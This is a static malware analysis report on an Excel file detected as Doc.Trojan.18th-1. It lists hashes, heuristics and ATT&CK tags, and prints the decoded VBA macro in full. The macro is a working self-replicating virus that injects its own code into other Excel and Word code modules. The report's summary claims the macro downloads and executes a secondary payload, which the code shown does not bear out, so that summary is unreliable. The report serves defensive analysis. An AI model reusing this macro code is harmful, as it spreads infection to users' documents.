Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 95d89b88b083fc6f…

MALICIOUS

Office (OLE)

19.0 KB Created: 1999-01-24 21:25:59 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 9dc5b7a7114fae7f173cd2e4da2dd85b SHA-1: 9cc6a546670d2223d15e68e55797c88b72f27f83 SHA-256: 95d89b88b083fc6f91578b2315e9ed458323bbf582eb83d400a7cf7f117bf53b
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros, identified by ClamAV as Doc.Trojan.18th-1. The macros utilize GetObject calls and appear to be designed to download and execute a secondary payload, as indicated by the heuristic firings and the presence of obfuscated VBA code. The copyright notice suggests a potential origin or naming convention, but no specific family can be confidently identified.

Heuristics 3

  • ClamAV: Doc.Trojan.18th-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.18th-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2009 bytes
SHA-256: a4c6efd3444281ba0175cc5571f6706f1816b7b398b40ed8d0c800a804cb0008
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Hikaru
Dim λ As String, ν As Byte
Private Sub Document_Close()
 On Error Resume Next
 ρ Application.VBE: ν = 1
 ρ GetObject(, "Word.Application").VBE
 ρ GetObject(, "Excel.Application").VBE
End Sub
Private Sub ρ(ByRef ο As Object)
 For ι = 1 To ο.CodePanes.Count
 Set υ = ο.CodePanes(ι).CodeModule
    If υ.Find("~^^~", 0, 0, 0, 0) And ν = 0 Then
        λ = υ.Lines(1, υ.CountOfLines): ν = 1: ι = 0
    End If
    If Not υ.Find("~^^~", 0, 0, 0, 0) And ν = 1 Then
        ο.CodePanes(ι).CodeModule.InsertLines 1, λ
    End If
 Next
End Sub
Private Sub Workbook_Deactivate(): Document_Close: End Sub
Private Sub UserForm_Initialize(): Document_Close: End Sub
Private Sub Worksheet_Activate(): Document_Close: End Sub